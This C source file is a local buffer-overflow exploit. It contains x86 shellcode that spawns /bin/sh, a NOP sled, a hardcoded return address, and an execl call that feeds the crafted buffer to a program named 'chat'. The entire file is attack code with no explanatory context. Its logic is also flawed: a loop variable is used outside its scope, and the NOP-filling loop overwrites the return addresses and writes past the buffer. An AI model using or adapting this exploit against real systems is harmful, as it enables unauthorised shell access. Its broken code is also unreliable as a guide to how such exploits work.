#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[] =
"\x31\xc0"              /* xor %eax, %eax       */
"\x50"                  /* push %eax            */
"\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
"\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
"\x89\xe3"              /* mov  %esp,%ebx       */
"\x50"                  /* push %eax            */
"\x53"                  /* push %ebx            */
"\x89\xe1"              /* mov  %esp,%ecx       */
"\x31\xd2"              /* xor  %edx,%edx       */
"\xb0\x0b"              /* mov  $0xb,%al        */
"\xcd\x80";             /* int  $0x80           */


#define BSIZE 1054
#define RET 0xbffff94c
int main(int argc,char **argv)
{
	int bsize=BSIZE;
	unsigned long ret=RET;
	
	if(argc>1) bsize=atoi(argv[1]);
	if(argc>2) ret=atoi(argv[2]);
	
	char* buffer=(char *)malloc(sizeof(char)*bsize);
	
	for(int i=0;i<bsize;i+=4)
		*(long *)&buffer[i]=ret;
	
	for(i=0;i<bsize-strlen(shellcode)-100;i++)
		*(long*)&buffer[i]=0x90;
	
	memcpy(buffer+i,shellcode,strlen(shellcode));
	
	execl("chat","chat",buffer,NULL);
	
	return 0;
	
}